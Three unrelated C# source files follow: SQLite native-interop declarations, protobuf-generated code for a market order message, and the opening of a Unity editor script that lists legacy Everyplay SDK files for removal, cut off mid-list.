internal static extern int sqlite3_column_bytes(IntPtr stmt, int iCol);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern double sqlite3_column_double(IntPtr stmt, int iCol);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern long sqlite3_column_int64(IntPtr stmt, int iCol);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern IntPtr sqlite3_column_text16(IntPtr stmt, int iCol);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_finalize(IntPtr stmt);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_reset(IntPtr stmt);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_exec(IntPtr db, byte [] sql, IntPtr callback, IntPtr cbArg, IntPtr errPtr);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_bind_parameter_index(IntPtr stmt, byte [] paramName);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_bind_parameter_count(IntPtr stmt);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_bind_blob(IntPtr stmt, int param, byte[] val, int nBytes, IntPtr destructorType);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_bind_double(IntPtr stmt, int param, double val);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_bind_int(IntPtr stmt, int param, int val);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_bind_int64(IntPtr stmt, int param, long val);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_bind_null(IntPtr stmt, int param);
[DllImport (SQLITE_DLL, CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_bind_text16 (IntPtr stmt, int param, string val, int numBytes, IntPtr destructorType);
//DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
//internal static extern int sqlite3_bind_zeroblob(IntPtr stmt, int, int n);
// Context functions
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern void sqlite3_result_blob(IntPtr context, byte[] value, int nSize, IntPtr pvReserved);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern void sqlite3_result_double(IntPtr context, double value);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern void sqlite3_result_error(IntPtr context, byte[] strErr, int nLen);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern void sqlite3_result_int(IntPtr context, int value);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern void sqlite3_result_int64(IntPtr context, Int64 value);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern void sqlite3_result_null(IntPtr context);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern void sqlite3_result_text(IntPtr context, byte[] value, int nLen, IntPtr pvReserved);
[DllImport (SQLITE_DLL, CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
internal static extern void sqlite3_result_error16(IntPtr context, string strName, int nLen);
[DllImport (SQLITE_DLL, CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)]
internal static extern void sqlite3_result_text16(IntPtr context, string strName, int nLen, IntPtr pvReserved);
// Value methods
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern IntPtr sqlite3_value_blob(IntPtr p);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_value_bytes(IntPtr p);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern double sqlite3_value_double(IntPtr p);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_value_int(IntPtr p);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern Int64 sqlite3_value_int64(IntPtr p);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern int sqlite3_value_type(IntPtr p);
[DllImport (SQLITE_DLL, CallingConvention = CallingConvention.Cdecl)]
internal static extern IntPtr sqlite3_value_text16(IntPtr p);
internal static string PtrToString (this IntPtr ptr)
{
return System.Runtime.InteropServices.Marshal.PtrToStringUni (ptr);
}
internal static byte [] GetUtf8Bytes (string str)
{
return Encoding.UTF8.GetBytes (str + '\0');
}
}
}
| |
// Generated by the protocol buffer compiler. DO NOT EDIT!
// source: order.proto
#pragma warning disable 1591, 0612, 3021
#region Designer generated code
using pb = global::Google.Protobuf;
using pbc = global::Google.Protobuf.Collections;
using pbr = global::Google.Protobuf.Reflection;
using scg = global::System.Collections.Generic;
/// <summary>Holder for reflection information generated from order.proto</summary>
public static partial class OrderReflection {
#region Descriptor
/// <summary>File descriptor for order.proto</summary>
public static pbr::FileDescriptor Descriptor {
get { return descriptor; }
}
private static pbr::FileDescriptor descriptor;
static OrderReflection() {
byte[] descriptorData = global::System.Convert.FromBase64String(
string.Concat(
"CgtvcmRlci5wcm90byKlAgoNUUFfTWFya2V0X2JpZBINCgVwcmljZRgBIAEo",
"AhIMCgRkYXRlGAIgASgJEhAKCGRhdGV0aW1lGAMgASgJEhQKDHNlbmRpbmdf",
"dGltZRgEIAEoCRIVCg10cmFuc2FjdF90aW1lGAUgASgJEg4KBmFtb3VudBgG",
"IAEoAhIPCgd0b3dhcmRzGAcgASgDEgwKBGNvZGUYCCABKAkSDAoEdXNlchgJ",
"IAEoCRIQCghzdHJhdGVneRgKIAEoCRIMCgR0eXBlGAsgASgJEhEKCWJpZF9t",
"b2RlbBgMIAEoCRIUCgxhbW91bnRfbW9kZWwYDSABKAkSEAoIb3JkZXJfaWQY",
"DiABKAkSEAoIdHJhZGVfaWQYDyABKAkSDgoGc3RhdHVzGBAgASgJYgZwcm90",
"bzM="));
descriptor = pbr::FileDescriptor.FromGeneratedCode(descriptorData,
new pbr::FileDescriptor[] { },
new pbr::GeneratedClrTypeInfo(null, new pbr::GeneratedClrTypeInfo[] {
new pbr::GeneratedClrTypeInfo(typeof(global::QA_Market_order), global::QA_Market_order.Parser, new[]{ "Price", "Date", "Datetime", "SendingTime", "TransactTime", "Amount", "Towards", "Code", "User", "Strategy", "Type", "BidModel", "AmountModel", "OrderId", "TradeId", "Status" }, null, null, null)
}));
}
#endregion
}
#region Messages
public sealed partial class QA_Market_order : pb::IMessage<QA_Market_order> {
private static readonly pb::MessageParser<QA_Market_order> _parser = new pb::MessageParser<QA_Market_order>(() => new QA_Market_order());
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public static pb::MessageParser<QA_Market_order> Parser { get { return _parser; } }
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public static pbr::MessageDescriptor Descriptor {
get { return global::OrderReflection.Descriptor.MessageTypes[0]; }
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
pbr::MessageDescriptor pb::IMessage.Descriptor {
get { return Descriptor; }
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public QA_Market_order() {
OnConstruction();
}
partial void OnConstruction();
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public QA_Market_order(QA_Market_order other) : this() {
price_ = other.price_;
date_ = other.date_;
datetime_ = other.datetime_;
sendingTime_ = other.sendingTime_;
transactTime_ = other.transactTime_;
amount_ = other.amount_;
towards_ = other.towards_;
code_ = other.code_;
user_ = other.user_;
strategy_ = other.strategy_;
type_ = other.type_;
bidModel_ = other.bidModel_;
amountModel_ = other.amountModel_;
orderId_ = other.orderId_;
tradeId_ = other.tradeId_;
status_ = other.status_;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public QA_Market_order Clone() {
return new QA_Market_order(this);
}
/// <summary>Field number for the "price" field.</summary>
public const int PriceFieldNumber = 1;
private float price_;
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public float Price {
get { return price_; }
set {
price_ = value;
}
}
/// <summary>Field number for the "date" field.</summary>
public const int DateFieldNumber = 2;
private string date_ = "";
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public string Date {
get { return date_; }
set {
date_ = pb::ProtoPreconditions.CheckNotNull(value, "value");
}
}
/// <summary>Field number for the "datetime" field.</summary>
public const int DatetimeFieldNumber = 3;
private string datetime_ = "";
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public string Datetime {
get { return datetime_; }
set {
datetime_ = pb::ProtoPreconditions.CheckNotNull(value, "value");
}
}
/// <summary>Field number for the "sending_time" field.</summary>
public const int SendingTimeFieldNumber = 4;
private string sendingTime_ = "";
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public string SendingTime {
get { return sendingTime_; }
set {
sendingTime_ = pb::ProtoPreconditions.CheckNotNull(value, "value");
}
}
/// <summary>Field number for the "transact_time" field.</summary>
public const int TransactTimeFieldNumber = 5;
private string transactTime_ = "";
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public string TransactTime {
get { return transactTime_; }
set {
transactTime_ = pb::ProtoPreconditions.CheckNotNull(value, "value");
}
}
/// <summary>Field number for the "amount" field.</summary>
public const int AmountFieldNumber = 6;
private float amount_;
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public float Amount {
get { return amount_; }
set {
amount_ = value;
}
}
/// <summary>Field number for the "towards" field.</summary>
public const int TowardsFieldNumber = 7;
private long towards_;
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public long Towards {
get { return towards_; }
set {
towards_ = value;
}
}
/// <summary>Field number for the "code" field.</summary>
public const int CodeFieldNumber = 8;
private string code_ = "";
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public string Code {
get { return code_; }
set {
code_ = pb::ProtoPreconditions.CheckNotNull(value, "value");
}
}
/// <summary>Field number for the "user" field.</summary>
public const int UserFieldNumber = 9;
private string user_ = "";
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public string User {
get { return user_; }
set {
user_ = pb::ProtoPreconditions.CheckNotNull(value, "value");
}
}
/// <summary>Field number for the "strategy" field.</summary>
public const int StrategyFieldNumber = 10;
private string strategy_ = "";
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public string Strategy {
get { return strategy_; }
set {
strategy_ = pb::ProtoPreconditions.CheckNotNull(value, "value");
}
}
/// <summary>Field number for the "type" field.</summary>
public const int TypeFieldNumber = 11;
private string type_ = "";
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public string Type {
get { return type_; }
set {
type_ = pb::ProtoPreconditions.CheckNotNull(value, "value");
}
}
/// <summary>Field number for the "order_model" field.</summary>
public const int BidModelFieldNumber = 12;
private string bidModel_ = "";
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public string BidModel {
get { return bidModel_; }
set {
bidModel_ = pb::ProtoPreconditions.CheckNotNull(value, "value");
}
}
/// <summary>Field number for the "amount_model" field.</summary>
public const int AmountModelFieldNumber = 13;
private string amountModel_ = "";
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public string AmountModel {
get { return amountModel_; }
set {
amountModel_ = pb::ProtoPreconditions.CheckNotNull(value, "value");
}
}
/// <summary>Field number for the "order_id" field.</summary>
public const int OrderIdFieldNumber = 14;
private string orderId_ = "";
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public string OrderId {
get { return orderId_; }
set {
orderId_ = pb::ProtoPreconditions.CheckNotNull(value, "value");
}
}
/// <summary>Field number for the "trade_id" field.</summary>
public const int TradeIdFieldNumber = 15;
private string tradeId_ = "";
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public string TradeId {
get { return tradeId_; }
set {
tradeId_ = pb::ProtoPreconditions.CheckNotNull(value, "value");
}
}
/// <summary>Field number for the "status" field.</summary>
public const int StatusFieldNumber = 16;
private string status_ = "";
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public string Status {
get { return status_; }
set {
status_ = pb::ProtoPreconditions.CheckNotNull(value, "value");
}
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override bool Equals(object other) {
return Equals(other as QA_Market_order);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public bool Equals(QA_Market_order other) {
if (ReferenceEquals(other, null)) {
return false;
}
if (ReferenceEquals(other, this)) {
return true;
}
if (Price != other.Price) return false;
if (Date != other.Date) return false;
if (Datetime != other.Datetime) return false;
if (SendingTime != other.SendingTime) return false;
if (TransactTime != other.TransactTime) return false;
if (Amount != other.Amount) return false;
if (Towards != other.Towards) return false;
if (Code != other.Code) return false;
if (User != other.User) return false;
if (Strategy != other.Strategy) return false;
if (Type != other.Type) return false;
if (BidModel != other.BidModel) return false;
if (AmountModel != other.AmountModel) return false;
if (OrderId != other.OrderId) return false;
if (TradeId != other.TradeId) return false;
if (Status != other.Status) return false;
return true;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override int GetHashCode() {
int hash = 1;
if (Price != 0F) hash ^= Price.GetHashCode();
if (Date.Length != 0) hash ^= Date.GetHashCode();
if (Datetime.Length != 0) hash ^= Datetime.GetHashCode();
if (SendingTime.Length != 0) hash ^= SendingTime.GetHashCode();
if (TransactTime.Length != 0) hash ^= TransactTime.GetHashCode();
if (Amount != 0F) hash ^= Amount.GetHashCode();
if (Towards != 0L) hash ^= Towards.GetHashCode();
if (Code.Length != 0) hash ^= Code.GetHashCode();
if (User.Length != 0) hash ^= User.GetHashCode();
if (Strategy.Length != 0) hash ^= Strategy.GetHashCode();
if (Type.Length != 0) hash ^= Type.GetHashCode();
if (BidModel.Length != 0) hash ^= BidModel.GetHashCode();
if (AmountModel.Length != 0) hash ^= AmountModel.GetHashCode();
if (OrderId.Length != 0) hash ^= OrderId.GetHashCode();
if (TradeId.Length != 0) hash ^= TradeId.GetHashCode();
if (Status.Length != 0) hash ^= Status.GetHashCode();
return hash;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override string ToString() {
return pb::JsonFormatter.ToDiagnosticString(this);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void WriteTo(pb::CodedOutputStream output) {
if (Price != 0F) {
output.WriteRawTag(13);
output.WriteFloat(Price);
}
if (Date.Length != 0) {
output.WriteRawTag(18);
output.WriteString(Date);
}
if (Datetime.Length != 0) {
output.WriteRawTag(26);
output.WriteString(Datetime);
}
if (SendingTime.Length != 0) {
output.WriteRawTag(34);
output.WriteString(SendingTime);
}
if (TransactTime.Length != 0) {
output.WriteRawTag(42);
output.WriteString(TransactTime);
}
if (Amount != 0F) {
output.WriteRawTag(53);
output.WriteFloat(Amount);
}
if (Towards != 0L) {
output.WriteRawTag(56);
output.WriteInt64(Towards);
}
if (Code.Length != 0) {
output.WriteRawTag(66);
output.WriteString(Code);
}
if (User.Length != 0) {
output.WriteRawTag(74);
output.WriteString(User);
}
if (Strategy.Length != 0) {
output.WriteRawTag(82);
output.WriteString(Strategy);
}
if (Type.Length != 0) {
output.WriteRawTag(90);
output.WriteString(Type);
}
if (BidModel.Length != 0) {
output.WriteRawTag(98);
output.WriteString(BidModel);
}
if (AmountModel.Length != 0) {
output.WriteRawTag(106);
output.WriteString(AmountModel);
}
if (OrderId.Length != 0) {
output.WriteRawTag(114);
output.WriteString(OrderId);
}
if (TradeId.Length != 0) {
output.WriteRawTag(122);
output.WriteString(TradeId);
}
if (Status.Length != 0) {
output.WriteRawTag(130, 1);
output.WriteString(Status);
}
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public int CalculateSize() {
int size = 0;
if (Price != 0F) {
size += 1 + 4;
}
if (Date.Length != 0) {
size += 1 + pb::CodedOutputStream.ComputeStringSize(Date);
}
if (Datetime.Length != 0) {
size += 1 + pb::CodedOutputStream.ComputeStringSize(Datetime);
}
if (SendingTime.Length != 0) {
size += 1 + pb::CodedOutputStream.ComputeStringSize(SendingTime);
}
if (TransactTime.Length != 0) {
size += 1 + pb::CodedOutputStream.ComputeStringSize(TransactTime);
}
if (Amount != 0F) {
size += 1 + 4;
}
if (Towards != 0L) {
size += 1 + pb::CodedOutputStream.ComputeInt64Size(Towards);
}
if (Code.Length != 0) {
size += 1 + pb::CodedOutputStream.ComputeStringSize(Code);
}
if (User.Length != 0) {
size += 1 + pb::CodedOutputStream.ComputeStringSize(User);
}
if (Strategy.Length != 0) {
size += 1 + pb::CodedOutputStream.ComputeStringSize(Strategy);
}
if (Type.Length != 0) {
size += 1 + pb::CodedOutputStream.ComputeStringSize(Type);
}
if (BidModel.Length != 0) {
size += 1 + pb::CodedOutputStream.ComputeStringSize(BidModel);
}
if (AmountModel.Length != 0) {
size += 1 + pb::CodedOutputStream.ComputeStringSize(AmountModel);
}
if (OrderId.Length != 0) {
size += 1 + pb::CodedOutputStream.ComputeStringSize(OrderId);
}
if (TradeId.Length != 0) {
size += 1 + pb::CodedOutputStream.ComputeStringSize(TradeId);
}
if (Status.Length != 0) {
size += 2 + pb::CodedOutputStream.ComputeStringSize(Status);
}
return size;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void MergeFrom(QA_Market_order other) {
if (other == null) {
return;
}
if (other.Price != 0F) {
Price = other.Price;
}
if (other.Date.Length != 0) {
Date = other.Date;
}
if (other.Datetime.Length != 0) {
Datetime = other.Datetime;
}
if (other.SendingTime.Length != 0) {
SendingTime = other.SendingTime;
}
if (other.TransactTime.Length != 0) {
TransactTime = other.TransactTime;
}
if (other.Amount != 0F) {
Amount = other.Amount;
}
if (other.Towards != 0L) {
Towards = other.Towards;
}
if (other.Code.Length != 0) {
Code = other.Code;
}
if (other.User.Length != 0) {
User = other.User;
}
if (other.Strategy.Length != 0) {
Strategy = other.Strategy;
}
if (other.Type.Length != 0) {
Type = other.Type;
}
if (other.BidModel.Length != 0) {
BidModel = other.BidModel;
}
if (other.AmountModel.Length != 0) {
AmountModel = other.AmountModel;
}
if (other.OrderId.Length != 0) {
OrderId = other.OrderId;
}
if (other.TradeId.Length != 0) {
TradeId = other.TradeId;
}
if (other.Status.Length != 0) {
Status = other.Status;
}
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void MergeFrom(pb::CodedInputStream input) {
uint tag;
while ((tag = input.ReadTag()) != 0) {
switch(tag) {
default:
input.SkipLastField();
break;
case 13: {
Price = input.ReadFloat();
break;
}
case 18: {
Date = input.ReadString();
break;
}
case 26: {
Datetime = input.ReadString();
break;
}
case 34: {
SendingTime = input.ReadString();
break;
}
case 42: {
TransactTime = input.ReadString();
break;
}
case 53: {
Amount = input.ReadFloat();
break;
}
case 56: {
Towards = input.ReadInt64();
break;
}
case 66: {
Code = input.ReadString();
break;
}
case 74: {
User = input.ReadString();
break;
}
case 82: {
Strategy = input.ReadString();
break;
}
case 90: {
Type = input.ReadString();
break;
}
case 98: {
BidModel = input.ReadString();
break;
}
case 106: {
AmountModel = input.ReadString();
break;
}
case 114: {
OrderId = input.ReadString();
break;
}
case 122: {
TradeId = input.ReadString();
break;
}
case 130: {
Status = input.ReadString();
break;
}
}
}
}
}
#endregion
#endregion Designer generated code
| |
using UnityEngine;
using UnityEditor;
using System.IO;
using System.Collections;
[InitializeOnLoad]
public class EveryplayLegacyCleanup
{
private static string[] filesToRemove =
{
"Editor/PostprocessBuildPlayer_EveryplaySDK",
"Editor/UpdateXcodeEveryplay.pyc",
"Plugins/iOS/EveryplayGlesSupport.mm",
"Plugins/iOS/EveryplayGlesSupport.h",
"Plugins/iOS/EveryplayUnity.mm",
"Plugins/iOS/EveryplayUnity.h",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-editor-panel-landscape.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-editor-panel-landscape@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-editor-panel-portrait.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-editor-panel-portrait@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-editor-topbar.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-editor-topbar@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-menu-notifcation-gradient.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-menu-notifcation-gradient@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-player-bottombar.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-player-bottombar@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-player-coverflow-gradient.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-player-coverflow-gradient@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-player-playcontrols.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-player-playcontrols@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-player-topbar.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-player-topbar@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-topbar-auth.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-topbar-auth@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-topbar.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-topbar@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-video-description-gradient.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-video-description-gradient@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-video-description-gradient~ipad.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/bg-video-description-gradient~ipad@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-delete.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-delete@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-landscape-share.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-landscape-share@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-landscape-share~ipad.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-landscape-share~ipad@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-landscape-toggled.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-landscape-toggled@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-landscape.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-landscape@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-player-back.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-player-back@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-player-done-press.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-player-done-press@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-player-done.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-player-done@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-player-trim.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-player-trim@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-portrait-share.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-portrait-share@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-portrait-share~ipad.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-portrait-share~ipad@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-portrait-toggled.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-portrait-toggled@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-portrait.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-portrait@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-retry.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-retry@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-topbar-green.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-topbar-green@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-undo-trim.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/btn-undo-trim@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-audio-active.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-audio-active@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-audio.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-audio@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-back-press.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-back-press@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-back.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-back@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-cam-active.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-cam-active@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-cam.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-cam@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-close-press.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-close-press@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-everyplay-large.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-everyplay-large@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-everyplay.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-everyplay@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-loading-error.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-loading-error@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-menu-press.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-menu-press@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-player-pause-press.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-player-pause-press@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-player-pause.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-player-pause@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-player-play-press.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-player-play-press@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-player-play-thumbnail-press.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-player-play-thumbnail-press@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-player-play.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-player-play@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-player-watch-again-press.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-player-watch-again-press@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-share-large.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-share-large@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-share.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/icon-share@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/menu-bottom-bg.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/menu-bottom-bg@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/menu-list-bg-active.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/menu-list-bg-active@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/menu-list-bg-large-active.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/menu-list-bg-large-active@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/menu-list-bg-large.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/menu-list-bg-large@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/menu-list-bg.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/menu-list-bg@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-editor-handle-highlighted.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-editor-handle-highlighted@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-editor-handle.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-editor-handle@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-handle-highlighted-left.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-handle-highlighted-left@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-handle-highlighted-right.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-handle-highlighted-right@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-handle-highlighted.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-handle-highlighted@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-handle-left.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-handle-left@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-handle-right.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-handle-right@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-handle.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-handle@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-track.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-track@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-trackBackground-loading.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-trackBackground-loading@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/slider-trackBackground.png",
